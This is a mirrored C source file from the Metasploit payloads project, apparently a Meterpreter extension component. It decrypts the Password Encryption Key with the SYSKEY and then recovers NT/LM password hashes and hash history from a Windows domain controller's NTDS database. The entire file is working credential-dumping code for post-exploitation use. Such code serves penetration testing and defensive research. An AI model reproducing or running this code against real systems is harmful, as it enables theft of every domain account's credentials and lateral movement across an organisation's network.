mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-18 15:14:10 +01:00
210 lines
7.7 KiB
C
210 lines
7.7 KiB
C
/*!
|
|
* @file ntds_decrypt.c
|
|
* @brief Definitions for NTDS decryption functions
|
|
*/
|
|
#include "extapi.h"
|
|
|
|
#include <inttypes.h>
|
|
#include <wincrypt.h>
|
|
#include "syskey.h"
|
|
#include "ntds_decrypt.h"
|
|
#include "ntds_jet.h"
|
|
#include "ntds.h"
|
|
|
|
/*!
|
|
* @brief Convert bytes into a Hex string representing those bytes.
|
|
* @param data Pointer to the byte array we are converting
|
|
* @param length Integer representing the length of the byte array
|
|
* @param output Pointer to the string we are outputting the result to
|
|
*/
|
|
void bytes_to_string(LPBYTE data, unsigned int length, LPSTR output)
|
|
{
|
|
for (unsigned int i = 0; i < length; i++) {
|
|
sprintf_s(output + (i *2), 3, "%02X", ((LPBYTE)data)[i]);
|
|
}
|
|
}
|
|
|
|
/*!
|
|
* @brief Decrypt an encrypted LM or NT Hash.
|
|
* @param encryptedNTLM Pointer to an encryptedhash struct for the LM or NT hash we wish to decrypt.
|
|
* @param pekDecrypted Pointer to a decryptedPEK structure that holds our decrypted PEK
|
|
* @param hashString Pointer to the string where we will store the decrypted hash
|
|
* @param rid DWORD representing the Relative ID(RID) of the account
|
|
* @returns Indication of sucess or failure.
|
|
*/
|
|
BOOL decrypt_hash(struct encryptedHash *encryptedNTLM,
|
|
struct decryptedPEK *pekDecrypted, char *hashString, DWORD rid)
|
|
{
|
|
BOOL cryptOK = FALSE;
|
|
BYTE encHashData[NULL_TERMINATED_HASH_LENGTH] = { 0 };
|
|
BYTE decHash[NULL_TERMINATED_HASH_LENGTH] = { 0 };
|
|
|
|
memcpy(&encHashData, &encryptedNTLM->encryptedHash, HASH_LENGTH_BYTES);
|
|
cryptOK = decrypt_rc4(pekDecrypted->pekKey, encryptedNTLM->keyMaterial, encHashData, 1, HASH_LENGTH_BYTES);
|
|
if (!cryptOK) {
|
|
return FALSE;
|
|
}
|
|
cryptOK = decrypt_hash_from_rid(encHashData, &rid, decHash);
|
|
if (!cryptOK) {
|
|
return FALSE;
|
|
}
|
|
bytes_to_string(decHash, HASH_LENGTH_BYTES, hashString);
|
|
return TRUE;
|
|
}
|
|
|
|
/*!
|
|
* @brief Wraps SystemFunction025 which decrypts a hash using the RID
|
|
* @param encodedHash Pointer to a byte array containing the encrypted hash
|
|
* @param rid Pointer to a DWORD containing the Relative ID(RID)
|
|
* @param decodedHash Pointer to where we store the decrypted hash
|
|
* @returns Indication of sucess or failure.
|
|
*/
|
|
BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash)
|
|
{
|
|
typedef NTSTATUS(__stdcall *PSYS25)(IN LPCBYTE data, IN LPDWORD key, OUT LPBYTE output);
|
|
HMODULE hAdvapi = LoadLibrary("advapi32.dll");
|
|
if (hAdvapi == NULL) {
|
|
return FALSE;
|
|
}
|
|
PSYS25 decryptFromRID = (PSYS25)GetProcAddress(hAdvapi, "SystemFunction025");
|
|
if (decryptFromRID(encodedHash, rid, decodedHash) != 0) {
|
|
return FALSE;
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
/*!
|
|
* @brief Splits up an encrypted LM or NT hash history and decrypts each stored hash
|
|
* @param encHashHistory Pointer to the byte array containing the hash history record
|
|
* @param sizeHistory The size of the history record
|
|
* @param pekDecrypted Pointer to a decryptedPEK structure that holds our decrypted PEK
|
|
* @param rid DWORD representing the Relative ID(RID) of the account
|
|
* @param accountHistory Pointer to a string wherewe store all the decrypted historical hashes
|
|
* @param historyCount Pointer to n integer where we store a count of the historical hashes
|
|
* @returns Indication of sucess or failure.
|
|
*/
|
|
BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory,
|
|
struct decryptedPEK *pekDecrypted, DWORD rid, char *accountHistory, unsigned int *historyCount)
|
|
{
|
|
BOOL cryptOK = FALSE;
|
|
unsigned int sizeHistoryData = (unsigned int)sizeHistory - 24;
|
|
unsigned int numHashes = (sizeHistoryData / HASH_LENGTH_BYTES);
|
|
memcpy(historyCount, &numHashes, sizeof(historyCount));
|
|
LPBYTE encHistoryData = (LPBYTE)calloc(1,sizeHistoryData);
|
|
LPBYTE decHistoryData = (LPBYTE)calloc(1,(sizeHistoryData * 2));
|
|
memcpy(encHistoryData, encHashHistory + 24, sizeHistoryData);
|
|
cryptOK = decrypt_rc4(pekDecrypted->pekKey, encHashHistory + 8, encHistoryData, 1, sizeHistoryData);
|
|
if (!cryptOK) {
|
|
free(encHistoryData);
|
|
free(decHistoryData);
|
|
return FALSE;
|
|
}
|
|
LPBYTE historicalHash = encHistoryData;
|
|
LPBYTE writeMarker = decHistoryData;
|
|
for (unsigned int i = 0; i < numHashes; i++) {
|
|
BYTE decHash[HASH_LENGTH_BYTES];
|
|
char hashString[NULL_TERMINATED_HASH_STRING_LENGTH] = { 0 };
|
|
cryptOK = decrypt_hash_from_rid(historicalHash, &rid, decHash);
|
|
if (!cryptOK) {
|
|
return FALSE;
|
|
}
|
|
bytes_to_string(decHash, HASH_LENGTH_BYTES, hashString);
|
|
strncpy_s(writeMarker, NULL_TERMINATED_HASH_STRING_LENGTH, hashString, NULL_TERMINATED_HASH_STRING_LENGTH - 1);
|
|
historicalHash = historicalHash + HASH_LENGTH_BYTES;
|
|
writeMarker = writeMarker + NULL_TERMINATED_HASH_STRING_LENGTH;
|
|
}
|
|
memcpy(accountHistory, decHistoryData, (numHashes * NULL_TERMINATED_HASH_STRING_LENGTH));
|
|
free(encHistoryData);
|
|
free(decHistoryData);
|
|
return TRUE;
|
|
}
|
|
|
|
/*!
|
|
* @brief Decrypts the Password Encryption Key(PEK)
|
|
* @param sysKey Pointer to the string holding the SYSKEY
|
|
* @param pekEncrypted Pointer to an encryptedPEK struct containing our PEK to be decrypted
|
|
* @param pekDecrypted Pointer to the decryptedPEK struct where we will store our decrypted PEK
|
|
* @returns Indication of sucess or failure.
|
|
*/
|
|
BOOL decrypt_PEK(unsigned char *sysKey, struct encryptedPEK *pekEncrypted, struct decryptedPEK *pekDecrypted)
|
|
{
|
|
BOOL cryptOK = FALSE;
|
|
BYTE pekData[52] = { 0 };
|
|
memcpy(&pekData, &pekEncrypted->pekData, sizeof(struct decryptedPEK));
|
|
|
|
cryptOK = decrypt_rc4(sysKey, pekEncrypted->keyMaterial, pekData, 1000, sizeof(struct decryptedPEK));
|
|
if (!cryptOK) {
|
|
return FALSE;
|
|
}
|
|
memcpy(pekDecrypted, &pekData, sizeof(struct decryptedPEK));
|
|
return TRUE;
|
|
}
|
|
|
|
/*!
|
|
* @brief Takes key material and ciphertext and perform an rc4 decryption routine,
|
|
* @param key1 Pointer to a string containing the first set of key material
|
|
* @param key2 Pointer to a string containing the second set of key material
|
|
* @param encrypted Pointer to a byte array containing the ciphertext
|
|
* @param iterations How many times to add key2 to the md5 Hash to generate the rc4 key
|
|
* @param lenBuffer the length of our output buffer
|
|
* @returns Indication of sucess or failure.
|
|
*/
|
|
BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted,
|
|
unsigned int hashIterations, DWORD lenBuffer)
|
|
{
|
|
BOOL cryptOK = FALSE;
|
|
HCRYPTPROV hProv = 0;
|
|
HCRYPTHASH hHash = 0;
|
|
DWORD md5Len = 16;
|
|
unsigned char rc4Key[HASH_LENGTH_BYTES];
|
|
HCRYPTKEY rc4KeyFinal;
|
|
|
|
cryptOK = CryptAcquireContext(&hProv, 0, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
|
|
if (!cryptOK) {
|
|
return FALSE;
|
|
}
|
|
cryptOK = CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash);
|
|
if (!cryptOK) {
|
|
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
|
|
return FALSE;
|
|
}
|
|
cryptOK = CryptHashData(hHash, key1, HASH_LENGTH_BYTES, 0);
|
|
if (!cryptOK) {
|
|
CryptDestroyHash(hHash);
|
|
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
|
|
return FALSE;
|
|
}
|
|
for (unsigned int i = 0; i < hashIterations; i++) {
|
|
cryptOK = CryptHashData(hHash, key2, HASH_LENGTH_BYTES, 0);
|
|
if (!cryptOK) {
|
|
CryptDestroyHash(hHash);
|
|
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
|
|
return FALSE;
|
|
}
|
|
}
|
|
cryptOK = CryptGetHashParam(hHash, HP_HASHVAL, rc4Key, &md5Len, 0);
|
|
if (!cryptOK) {
|
|
CryptDestroyHash(hHash);
|
|
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
|
|
return FALSE;
|
|
}
|
|
cryptOK = CryptDeriveKey(hProv, CALG_RC4, hHash, 0, &rc4KeyFinal);
|
|
if (!cryptOK) {
|
|
CryptDestroyHash(hHash);
|
|
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
|
|
return FALSE;
|
|
}
|
|
cryptOK = CryptEncrypt(rc4KeyFinal, (HCRYPTHASH)NULL, TRUE, 0, encrypted, &lenBuffer, lenBuffer);
|
|
if (!cryptOK) {
|
|
CryptDestroyKey(rc4KeyFinal);
|
|
CryptDestroyHash(hHash);
|
|
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
|
|
return FALSE;
|
|
}
|
|
// Clean up after ourselves
|
|
CryptDestroyKey(rc4KeyFinal);
|
|
CryptDestroyHash(hHash);
|
|
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
|
|
return TRUE;
|
|
}
|